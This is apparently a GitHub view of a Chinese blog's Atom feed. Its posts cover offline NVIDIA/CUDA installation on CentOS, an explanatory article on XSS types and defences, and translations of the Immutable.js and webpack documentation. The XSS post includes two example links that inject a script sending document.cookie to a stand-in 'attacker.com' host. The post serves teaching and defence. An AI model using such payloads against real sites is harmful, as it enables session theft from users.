-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathatom.xml
More file actions
1307 lines (1148 loc) · 287 KB
/
atom.xml
File metadata and controls
1307 lines (1148 loc) · 287 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>The World of TomasRan</title>
<subtitle>陶天然的博客</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="tomasran.space/"/>
<updated>2017-07-22T01:18:39.000Z</updated>
<id>tomasran.space/</id>
<author>
<name>TomasRan</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>centos下离线安装nvidia驱动和cuda环境</title>
<link href="tomasran.space/archives/6xgSD-MrQfMzSwu7MHNS6g/"/>
<id>tomasran.space/archives/6xgSD-MrQfMzSwu7MHNS6g/</id>
<published>2017-07-22T01:15:50.000Z</published>
<updated>2017-07-22T01:18:39.000Z</updated>
<content type="html"><h3 id="centos下-nvidia驱动和cuda环境安装"><a href="#centos下-nvidia驱动和cuda环境安装" class="headerlink" title="centos下 nvidia驱动和cuda环境安装"></a>centos下 nvidia驱动和cuda环境安装</h3><ol>
<li>禁用nouveau驱动<br>在 /etc/modprobe.d/ 目录下新建文件blacklist-nouveau.conf,并写入以下内容</li>
</ol>
<blockquote>
<p>blacklist nouveau<br>options nouveau modeset=0</p>
</blockquote>
<a id="more"></a>
<ol>
<li>重新生成 kernel initramfs:</li>
</ol>
<figure class="highlight ada"><table><tr><td class="code"><pre><span class="line">sudo dracut <span class="comment">--force</span></span><br></pre></td></tr></table></figure>
<ol>
<li>重启</li>
</ol>
<figure class="highlight nginx"><table><tr><td class="code"><pre><span class="line"><span class="attribute">sudo</span> reboot</span><br></pre></td></tr></table></figure>
<ol>
<li>验证驱动被禁用</li>
</ol>
<figure class="highlight 1c"><table><tr><td class="code"><pre><span class="line">lsmod <span class="string">| grep nouveau</span></span><br></pre></td></tr></table></figure>
<p>如果无结果显示则表明成功禁用。</p>
<ol>
<li>修改 /etc/inittab 文件</li>
</ol>
<blockquote>
<p>id:5:initdefault: &gt; id:3:initdefault:</p>
</blockquote>
<p>如上,将5改为3,保存。</p>
<ol>
<li>重启</li>
</ol>
<figure class="highlight nginx"><table><tr><td class="code"><pre><span class="line"><span class="attribute">sudo</span> reboot</span><br></pre></td></tr></table></figure>
<ol>
<li>安装nvidia驱动和cuda</li>
</ol>
<figure class="highlight julia"><table><tr><td class="code"><pre><span class="line">cd xxxx</span><br><span class="line">sudo sh cuda_&lt;version&gt;_linux.run</span><br></pre></td></tr></table></figure>
</content>
<summary type="html">
<h3 id="centos下-nvidia驱动和cuda环境安装"><a href="#centos下-nvidia驱动和cuda环境安装" class="headerlink" title="centos下 nvidia驱动和cuda环境安装"></a>centos下 nvidia驱动和cuda环境安装</h3><ol>
<li>禁用nouveau驱动<br>在 /etc/modprobe.d/ 目录下新建文件blacklist-nouveau.conf,并写入以下内容</li>
</ol>
<blockquote>
<p>blacklist nouveau<br>options nouveau modeset=0</p>
</blockquote>
</summary>
<category term="InstallationManual" scheme="tomasran.space/category/InstallationManual/"/>
<category term="cuda" scheme="tomasran.space/tags/cuda/"/>
<category term="nvidia驱动" scheme="tomasran.space/tags/nvidia%E9%A9%B1%E5%8A%A8/"/>
</entry>
<entry>
<title>web开发的职业素养:拒绝XSS</title>
<link href="tomasran.space/archives/oWZgIdOs5O2rjSUngSRMQg/"/>
<id>tomasran.space/archives/oWZgIdOs5O2rjSUngSRMQg/</id>
<published>2017-06-02T02:48:41.000Z</published>
<updated>2017-06-02T03:02:23.000Z</updated>
<content type="html"><h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p>XSS攻击的全称是 Cross Site Scripting(跨站脚本攻击),为了避免和样式表CSS混淆而简写为XSS(既生瑜何生亮 :&lt;)。</p>
<a id="more"></a>
<h4 id="攻击目的"><a href="#攻击目的" class="headerlink" title="攻击目的"></a>攻击目的</h4><p>XSS攻击使用web应用,服务器,或者所依赖的插件系统的已知漏洞进行攻击。攻击者通过一些手段,将一些恶意内容,比如js脚本,插入到受攻击的网站。用户使用浏览器进行访问时就会受到攻击。</p>
<p>那么受到攻击有什么危害呢?对用户来讲,比较常见的就是受害者网站的cookie、session等敏感数据遭到泄露(这些数据一般保存着用户登陆状态等信息,攻击者拿到这些就可以登陆用户的账号随心所欲的操作);而对于网站来讲,也许会影响用户体验,包括而不限于可能因此遭到DOS攻击等等。危害性不容小觑。</p>
<p><img src="http://o6lqh5p0j.bkt.clouddn.com/xss-attack2.png" alt=""></p>
<h4 id="在web安全中的地位"><a href="#在web安全中的地位" class="headerlink" title="在web安全中的地位"></a>在web安全中的地位</h4><p>很多网站都爆发过XSS漏洞,其中不乏互联网巨头,比如Twitter,Facebook,YouTube等等,虽然在互联网安全中已经受到了相当的重视(如果想要了解web中目前比较关注的安全问题,<a href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" target="_blank" rel="external">OWASP Top 10</a> 千千万万不要错过,它绝对是你在网站安全建设过程中的绝佳帮手),但是大量的XSS漏洞仍在前赴后继。或是缺少经验,或是用户数据并不十分敏感,亦或是互联网风暴席卷而来时疯了一样的迭代速度所限制的安全投入。</p>
<h3 id="XSS攻击的类型"><a href="#XSS攻击的类型" class="headerlink" title="XSS攻击的类型"></a>XSS攻击的类型</h3><p>XSS攻击一般总结为如下三类,第三类攻击可能并不常见一些,在此也稍作说明以示全貌(有时也被划分为两大类:持久化和非持久化的XSS攻击)。</p>
<h4 id="基于反射的攻击(非持久化)"><a href="#基于反射的攻击(非持久化)" class="headerlink" title="基于反射的攻击(非持久化)"></a>基于反射的攻击(非持久化)</h4><p>基于反射的XSS攻击一般是服务器端根据用户的输入或者查询条件返回了带有恶意脚本的结果并在客户端执行。这种漏洞常见于各种搜索引擎之中。</p>
<h5 id="举例"><a href="#举例" class="headerlink" title="举例"></a>举例</h5><p>比如我们在亚马逊的搜索栏中输入以下图示代码:</p>
<p><img src="http://o6lqh5p0j.bkt.clouddn.com/Snip20170602_3.png" alt=""></p>
<p>后端服务器接收到用户输入之后进行查询,发现查询不到类似结果,于是返回如下:</p>
<p><img src="http://o6lqh5p0j.bkt.clouddn.com/Snip20170602_4.png" alt=""></p>
<p>当然了,亚马逊并不存在XSS漏洞,这是正常的结果。那么存在XSS漏洞的搜索是如何表现的呢?</p>
<p>以上述流程为例,当我们在搜索栏中输入对应的恶意脚本代码,服务器端进行处理,当未找到匹配内容时简单返回我们输入的查询字符串。那么,这时候如果网站前端或者服务器端没有对查询字符串做恰当的处理,只是简单返回并插入到页面中,那这段恶意脚本代码很可能被当做正常的script标签解释执行。后果很明显,我们泄露了自己账户的cookie。</p>
<p>那么攻击者是如何进行攻击的呢?他自然不是站在你身旁,威胁你输入上面的脚本,那还不如自己亲自去查看来的迅速。他在发现网站存在基于反射的XSS漏洞之后,通过某种方式给你提供下面一条链接,将恶意代码塞入查询条件中,如下例的’field_keywords’字段,诱导你去点击:</p>
<p><code>https://www.amazon.cn/s/ref=nb_sb_noss?__mk_zh_CN=%E4%BA%9A%E9%A9%AC%E9%80%8A%E7%BD%91%E7%AB%99&amp;url=search-alias%3Daps&amp;field-keywords=%3Cscript+src%3D%27attacker.com%3Fcookie%3D%27+%2B+document.cookie%3E%3C%2Fscript%3E&amp;rh=i%3Aaps%2Ck%3A%3Cscript+src%3D%27attacker.com%3Fcookie%3D%27+%2B+document.cookie%3E%3C%2Fscript%3E</code></p>
<p>而当你点击的片刻,你对应网站的cookie也就泄露了。</p>
<h5 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h5><p>这就是基于反射的XSS攻击,因为攻击代码并不是存储在受攻击网站的服务器上,也称之为非持久化攻击。攻击的代码一般在服务器端的response中可以找见。</p>
<p><img src="http://o6lqh5p0j.bkt.clouddn.com/reflected-xss.png" alt=""></p>
<h4 id="基于存储的攻击"><a href="#基于存储的攻击" class="headerlink" title="基于存储的攻击"></a>基于存储的攻击</h4><p>基于存储的XSS攻击也是向目标网站注入可执行脚本,但是攻击者的恶意代码会被存储到网站服务器上,因此划分为基于存储的XSS攻击。这种漏洞常见于一般的社交网站的评论系统等。</p>
<h5 id="举例-1"><a href="#举例-1" class="headerlink" title="举例"></a>举例</h5><p>我们去百度贴吧上回帖,回帖的内容是一段恶意的脚本代码,我们点击发表。</p>
<p><img src="http://o6lqh5p0j.bkt.clouddn.com/Snip20170602_5.png" alt=""></p>
<p>我们的评论也就被后端服务器存储到数据库中。接下来我们去查看刚才发表的评论:</p>
<p><img src="http://o6lqh5p0j.bkt.clouddn.com/Snip20170602_7.png" alt=""></p>
<p>现在的百度贴吧自然也不存在XSS漏洞。我们还是介绍过程。</p>
<p>那么可以想见,我们的评论被存储到后台数据库中,当别人看帖时,我们的评论自然也会从数据库读取出来展示。那么如果存在XSS漏洞,前后端没有对我们提交的评论进行恰当的处理,这段提交的代码也很可能被当做正常的标签语句解释执行,结果自然也是cookie泄露。</p>
<h5 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h5><p>基于存储的XSS漏洞的攻击方式一目了然,因为基于存储,属于一种持久化攻击。这种XSS攻击,攻击者的代码从服务器端返回的response中取得。</p>
<p><img src="http://o6lqh5p0j.bkt.clouddn.com/sorted-XSS.png" alt=""></p>
<h4 id="基于DOM的攻击"><a href="#基于DOM的攻击" class="headerlink" title="基于DOM的攻击"></a>基于DOM的攻击</h4><p>基于DOM的攻击可以说是基于反射的XSS攻击的子类,它也是非持久化的。它的特别之处就在于服务端并不会接触到攻击的脚本,攻击由客户端代码执行之后发生。</p>
<h5 id="举例-2"><a href="#举例-2" class="headerlink" title="举例"></a>举例</h5><p>攻击者向受害者发送了一个攻击连接:</p>
<p><code>http://some.site/page.html?default&lt;script+src%3Dattacker.com%3Fcookie%3Ddocument.cookie&gt;&lt;%2Fscript&gt;</code></p>
<p>当受害者点击这个链接时,便会向服务器端发送请求,服务器端返回资源、数据,但并没有接触url中的default参数。</p>
<p>这个default参数有什么用呢?它被本地的js代码读取执行,将参数对应的值插入页面,由于没有对参数值做恰当处理,浏览器可能会将这段恶意代码解释执行,于是触发了XSS攻击。</p>
<h5 id="总结-2"><a href="#总结-2" class="headerlink" title="总结"></a>总结</h5><p>基于DOM的漏洞并不是很常见,服务器端不会touch到它,因此与基于反射的XSS攻击有所不同,它是本地js代码的执行漏洞,服务器端并不能采取有效措施解决它而是依赖于客户端代码。</p>
<h3 id="如何防御XSS漏洞"><a href="#如何防御XSS漏洞" class="headerlink" title="如何防御XSS漏洞"></a>如何防御XSS漏洞</h3><p>通过以上详述,我们应该可以理解到所谓的XSS攻击主要是因为浏览器端错误执行了恶意的脚本所致。我们所要做的工作自然就是杜绝这些恶意的脚本(比如针对带有恶意脚本的请求拒绝服务),或者将这些脚本转化为浏览器不会执行的文本(也就是转义)。</p>
<p>最稳妥的考虑方式是将任何数据都视为不可信任,根据数据要置于的上下文都进行恰当的转义。退一步当然也可以划分信任数据域和不信任数据域分而治之。</p>
<p>这样一个原则在解决XSS漏洞时也具有很强的适用性:过滤输入,转义输出。</p>
</content>
<summary type="html">
<h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p>XSS攻击的全称是 Cross Site Scripting(跨站脚本攻击),为了避免和样式表CSS混淆而简写为XSS(既生瑜何生亮 :&lt;)。</p>
</summary>
<category term="Investigation" scheme="tomasran.space/category/Investigation/"/>
<category term="XSS" scheme="tomasran.space/tags/XSS/"/>
</entry>
<entry>
<title>Immutable.js中文文档</title>
<link href="tomasran.space/archives/dsFzdQCcuQr1iO8ubvifYQ/"/>
<id>tomasran.space/archives/dsFzdQCcuQr1iO8ubvifYQ/</id>
<published>2017-04-05T15:29:58.000Z</published>
<updated>2017-04-05T15:32:53.000Z</updated>
<content type="html"><p>原文链接:<a href="http://facebook.github.io/immutable-js/docs" target="_blank" rel="external">http://facebook.github.io/immutable-js/docs</a></p>
<p>不可变的数据(Immutable data)鼓励我们使用纯函数(数据输入,数据输出),适用于更简单的应用程序开发,并且启用了函数式编程技术,例如惰性评估。</p>
<p>为了将这些强大的函数概念引进Javascript,它提供了一套Javascript工程师熟悉的面向对象的API方法,就好像是Array,Map和Set的镜像方法一般。</p>
<a id="more"></a>
<h3 id="如何阅读这篇文档"><a href="#如何阅读这篇文档" class="headerlink" title="如何阅读这篇文档"></a>如何阅读这篇文档</h3><p>为了更好地解释什么样的值是Immutable.js API所期望和生成的,本篇文档将会采用和Javascript类似的一种静态语言进行展示说明(例如 <a href="https://flowtype.org/" target="_blank" rel="external">Flow</a> 和 <a href="http://www.typescriptlang.org/" target="_blank" rel="external">TypeScript</a>)。你不需要使用那些类型检测工具就可以使用 Immutable.js ,只需要熟悉它们的语法就能帮助你更深入地理解这套API。</p>
<h4 id="一些例子以及如何去阅读它们。"><a href="#一些例子以及如何去阅读它们。" class="headerlink" title="一些例子以及如何去阅读它们。"></a>一些例子以及如何去阅读它们。</h4><p>所有的方法都会描述它们接受的数据类型和返回的数据类型。举例来说,一个接收两个数字作为参数并且返回一个数字的函数将会是这样的:</p>
<figure class="highlight livecodeserver"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sum</span>(<span class="keyword">first</span>: <span class="built_in">number</span>, <span class="keyword">second</span>: <span class="built_in">number</span>) : <span class="built_in">number</span></span><br></pre></td></tr></table></figure>
<p>有时,方法可以接受不同的数据类型或者返回不同的数据类型,这是通过一个类型变量进行描述的,这个类型变量往往以典型的全部大写的形式给出。举例来说,一个返回值与接收参数的类型相同的函数看起来是这样的:</p>
<figure class="highlight r"><table><tr><td class="code"><pre><span class="line">identity&lt;<span class="literal">T</span>&gt;(value: <span class="literal">T</span>) : <span class="literal">T</span></span><br></pre></td></tr></table></figure>
<p>类型变量用类进行定义并在方法中引用。举个例子,一个持有某个值得类可能看起来是这样的:</p>
<figure class="highlight ruby"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Box</span>&lt;T&gt;;</span> &#123;</span><br><span class="line"> constructor(<span class="symbol">value:</span> T)</span><br><span class="line"> getValue(): T</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>为了操作Immutable数据,方法调用不再是我们以前所习惯的影响某个Collection本身,取而代之的是返回一个全新的相同类型的Collection。<code>this</code> 的类型同一个类的类型。举例来说,当你 <code>push</code> 一个值到List 类型数据中时,它会返回新的List:</p>
<figure class="highlight ruby"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">List</span>&lt;T&gt; &#123;</span></span><br><span class="line"> push(<span class="symbol">value:</span> T): this</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>Immutable.js 中的很多方法接受实现了Javascript Iterable协议的值,并且对于表示为字符串序列的东西可能会显示为 Iterable&lt;String&gt;。通常在Javascript中当期望使用一个可迭代的对象时,我们会使用数组([]),然而所有的 Immutable.js 集合都是可以自身迭代的。</p>
<p>举个例子,为了在一个数据结构中获得深处的值,我们可能会使用getIn,它期望一个迭代的路径:</p>
<figure class="highlight livecodeserver"><table><tr><td class="code"><pre><span class="line">getIn(path: Iterable&lt;<span class="keyword">string</span> | <span class="built_in">number</span>&gt;): <span class="keyword">any</span></span><br></pre></td></tr></table></figure>
<p>为了使用这个方法,我们可以传递一个数组: <code>data.getIn([&#39;key&#39;, 2])</code>。</p>
<p>注意:所有的例子都是使用现代版本的Javascript ES2015 进行展示的。为了在老的浏览器中运行,它们需要被转化为 ES3。</p>
<p>举个例子:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ES2015</span></span><br><span class="line"><span class="keyword">const</span> mappedFoo = foo.map(x =&gt; x * x);</span><br><span class="line"><span class="comment">// ES3</span></span><br><span class="line"><span class="keyword">var</span> mappedFoo = foo.map(<span class="function"><span class="keyword">function</span> (<span class="params">x</span>) </span>&#123; <span class="keyword">return</span> x * x; &#125;);</span><br></pre></td></tr></table></figure>
<h4 id="API"><a href="#API" class="headerlink" title="API"></a>API</h4><h5 id="fromJS"><a href="#fromJS" class="headerlink" title="fromJS()"></a><a href="#fromJS">fromJS()</a></h5><h5 id="is"><a href="#is" class="headerlink" title="is()"></a><a href="#is">is()</a></h5><p>#####<a href="#hash">hash()</a></p>
<p>#####<a href="#isImmutable">isImmutable()</a></p>
<p>#####<a href="#isCollection">isCollection</a></p>
<p>#####<a href="#isKeyed">isKeyed</a></p>
<p>#####<a href="#isIndexed">isIndexed</a></p>
<p>#####<a href="#isAssociative">isAssociative</a></p>
<p>#####<a href="#isOrdered">isOrdered</a></p>
<p>#####<a href="#isValueObject">isValueObject</a></p>
<p>#####<a href="#isCollection">valueObject</a></p>
<p>#####<a href="#List">List</a></p>
<p>#####<a href="#Map">Map</a></p>
<p>#####<a href="#OrderedMap">OrderedMap</a></p>
<p>#####<a href="#Set">Set</a></p>
<p>#####<a href="#OrderedSet">OrderedSet</a></p>
<p>#####<a href="#Stack">Stack</a></p>
<p>#####<a href="#Range">Range</a></p>
<p>#####<a href="#Repeat">Repeat</a></p>
<p>#####<a href="#Record">Record</a></p>
<p>#####<a href="#Seq">Seq</a></p>
<p>#####<a href="#Collection">Collection</a></p>
</content>
<summary type="html">
<p>原文链接:<a href="http://facebook.github.io/immutable-js/docs">http://facebook.github.io/immutable-js/docs</a></p>
<p>不可变的数据(Immutable data)鼓励我们使用纯函数(数据输入,数据输出),适用于更简单的应用程序开发,并且启用了函数式编程技术,例如惰性评估。</p>
<p>为了将这些强大的函数概念引进Javascript,它提供了一套Javascript工程师熟悉的面向对象的API方法,就好像是Array,Map和Set的镜像方法一般。</p>
</summary>
<category term="Translation" scheme="tomasran.space/category/Translation/"/>
<category term="Immutable" scheme="tomasran.space/tags/Immutable/"/>
<category term="惰性评估" scheme="tomasran.space/tags/%E6%83%B0%E6%80%A7%E8%AF%84%E4%BC%B0/"/>
</entry>
<entry>
<title>webpack中文文档(一):概念</title>
<link href="tomasran.space/archives/ajLrq1XSkZkoTygybgxgzw/"/>
<id>tomasran.space/archives/ajLrq1XSkZkoTygybgxgzw/</id>
<published>2017-02-09T07:21:23.000Z</published>
<updated>2017-02-09T07:25:02.000Z</updated>
<content type="html"><p>原文链接:<a href="https://webpack.js.org/concepts/" target="_blank" rel="external">https://webpack.js.org/concepts/</a></p>
<h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a><span id="introduce"></span>介绍</h2><p>webpack是为了现代Javascript应用而诞生的一个模块打包器。它拥有<a href="https://webpack.js.org/configuration/" target="_blank" rel="external">惊人的可配置性</a>,不过,在使用之前我们觉得你必须理解四个核心的概念。</p>
<p>作为webpack学习之旅的一部分,我们撰写这篇文档旨在给大家展示这些概念的高度概览,不过我们也会提供和概念相关的特定用例的链接。</p>
<a id="more"></a>
<h3 id="入口"><a href="#入口" class="headerlink" title="入口"></a>入口</h3><p>webpack会根据你的应用的依赖关系创建一张图。这张图的起点被视为入口。入口告诉webpack从哪里开始,以及按照依赖关系图如何去打包。你可以将你的应用的入口看做是上下文根节点或者访问你的应用的第一个文件。</p>
<p>在webpack中,我们通过在 <a href="https://webpack.js.org/configuration/" target="_blank" rel="external">webpack配置对象</a> 中使用 <code>entry</code> 属性定义入口。</p>
<p>下面是一个最简单的例子:</p>
<p>webpack.config.js</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="built_in">module</span>.exports = &#123;</span><br><span class="line"> entry: <span class="string">'./path/to/my/entry/file.js'</span> </span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<p>根据你的应用的需求,可以有多种方法去声明入口。</p>
<p><a href="#entry">了解更多!</a></p>
<h3 id="输出"><a href="#输出" class="headerlink" title="输出"></a>输出</h3><p>当你打包完了所有的资源文件,我们仍然需要告诉webpack哪里去放置我们的应用。webpack的 <code>ouput</code> 属性描述了webpack如何去处理打包后的代码。</p>
<p>webpack.config.js</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="built_in">module</span>.exports = &#123;</span><br><span class="line"> entry: <span class="string">'./path/to/my/entry/file.js'</span>,</span><br><span class="line"> output: &#123;</span><br><span class="line"> path: path.resolve(__dirname, <span class="string">'dist'</span>),</span><br><span class="line"> filename: <span class="string">'my-first-webpack.bundle.js'</span></span><br><span class="line"> &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<p>上面的例子,通过我们定义的 <code>output.filename</code> 和 <code>ouput.path</code> 属性去命名我们的包以及确定我们想要将它放置的位置。</p>
<p><code>ouput</code> 属性拥有很多的配置功能,但是我们还是应该花一些时间去理解 <code>output</code> 属性更为通用的配置用例。</p>
<p><a href="#output">了解更多!</a></p>
<h3 id="加载器"><a href="#加载器" class="headerlink" title="加载器"></a>加载器</h3><p>目标是使得你项目中的所有资源文件成为webpack的关注点,而浏览器无需关心(这并不意味着所有的资源文件都需要一起打包)。webpack 将 <a href="#modules">每一个文件(.css,.html,scss,.jpg,etc)视为一个模块</a>。然而,webpack只能理解Javascript代码。</p>
<p><strong>当将资源文件添加到你的依赖图中时,webpack中的加载器会将涉及的所有文件统统转化成为模块。</strong></p>
<p>从高层次上来讲,你的webpack配置主要有两个目的:</p>
<ol>
<li>通过特定的加载器识别需要进行转换的文件。(<code>test</code> 属性)</li>
<li>将文件进行装换以便于它能够被添加到你的依赖图中(最终添加到你的包中)。(<code>use</code> 属性)</li>
</ol>
<p>webpack.config.js</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> config = &#123;</span><br><span class="line"> entry: <span class="string">'./path/to/my/entry/file.js'</span>,</span><br><span class="line"> output: &#123;</span><br><span class="line"> path: path.resolve(__dirname, <span class="string">'dist'</span>),</span><br><span class="line"> filename: <span class="string">'my-first-webpack.bundle.js'</span></span><br><span class="line"> &#125;,</span><br><span class="line"> <span class="built_in">module</span>: &#123;</span><br><span class="line"> rules: [</span><br><span class="line"> &#123;test: <span class="regexp">/\.(js|jsx)$/</span>, use: <span class="string">'babel-loader'</span>&#125;</span><br><span class="line"> ]</span><br><span class="line"> &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<p>上面的配置中我们定义了使用加载器的规则,设置了它的两个必须属性:<code>test</code> 和 <code>use</code> 。它告诉webpack编译器下面的事情:</p>
<blockquote>
<p> “webpack编译器,当你在分析 <code>require()/import</code> 声明中的路径时,遇到了 ‘.js’ 或者 ‘.jsx’文件,则在将它添加到打包结果之前,使用 <code>babel-loader</code> 去将它转换为模块。”</p>
</blockquote>
<p>当在你的webpack配置中定义规则时,需要切记你应该在 <code>module.rules</code> 下面进行定义,而不是 <code>rules</code>。不过如果你采用了错误的方式webpack也会发出提醒。</p>
<p>关于加载器还有很多我们没有谈及的特定属性可以进行定义。</p>
<p><a href="#loader">了解更多!</a></p>
<h3 id="插件"><a href="#插件" class="headerlink" title="插件"></a>插件</h3><p>加载器是基于每个文件执行转换,而<code>plugins</code> 一般用来(但不局限于)在你的已经打包好的模块的“编译”或是“分块” 期间执行一些操作和自定义的功能(<a href="#plugins">或者更多</a>)。webpakc的插件系统<a href="https://webpack.js.org/api/plugins/" target="_blank" rel="external">十分强大并且可定制</a>。</p>
<p>为了使用一个插件,你只需要 <code>require()</code> 它并且将它添加到 <code>plugins</code> 数组。大多数的插件都是可以通过参数进行定制的。因为你可以根据不同目的在同一配置文件中多次使用同一个插件,所以你需要使用 <code>new</code> 去初始化该插件的实例。</p>
<p>webpack.config.js</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> HtmlWebpackPlugin = <span class="built_in">require</span>(<span class="string">'html-webpack-plugin'</span>); <span class="comment">//installed via npm</span></span><br><span class="line"><span class="keyword">const</span> webpack = <span class="built_in">require</span>(<span class="string">'webpack'</span>); <span class="comment">//to access built-in plugins</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> config = &#123;</span><br><span class="line"> entry: <span class="string">'./path/to/my/entry/file.js'</span>,</span><br><span class="line"> output: &#123;</span><br><span class="line"> filename: <span class="string">'my-first-webpack.bundle.js'</span>,</span><br><span class="line"> path: <span class="string">'./dist'</span></span><br><span class="line"> &#125;,</span><br><span class="line"> <span class="built_in">module</span>: &#123;</span><br><span class="line"> rules: [</span><br><span class="line"> &#123;test: <span class="regexp">/\.(js|jsx)$/</span>, use: <span class="string">'babel-loader'</span>&#125;</span><br><span class="line"> ]</span><br><span class="line"> &#125;,</span><br><span class="line"> plugins: [</span><br><span class="line"> <span class="keyword">new</span> webpack.optimize.UglifyJsPlugin(),</span><br><span class="line"> <span class="keyword">new</span> HtmlWebpackPlugin(&#123;template: <span class="string">'./src/index.html'</span>&#125;)</span><br><span class="line"> ]</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="built_in">module</span>.exports = config;</span><br></pre></td></tr></table></figure>
<p>webpack提供了很多插入即用的插件!可以查看我们的 <a href="https://webpack.js.org/plugins/" target="_blank" rel="external">插件列表</a> 以获取更多信息。</p>
<p>在你的webpack配置中使用插件相当轻松,然而有很多的用例更值得进一步讨论。</p>
<p><a href="#plugins">了解更多!</a></p>
<h2 id="入口-1"><a href="#入口-1" class="headerlink" title="入口"></a><span id="entry"><span>入口</span></span></h2><p>正如我们在 <a href="#introduce">介绍</a> 中提及的,在你的webpack配置文件中有多种方式去定义 <code>entry</code> 属性。我们将要介绍配置 <code>entry</code> 属性的方法,并且解释为什么它于你可能有用。</p>
<h3 id="单入口-简写-语法"><a href="#单入口-简写-语法" class="headerlink" title="单入口 [简写] 语法"></a>单入口 [简写] 语法</h3><p>用法:<code>entry: String|Array&lt;String&gt;</code></p>
<p>webpack.config.js</p>
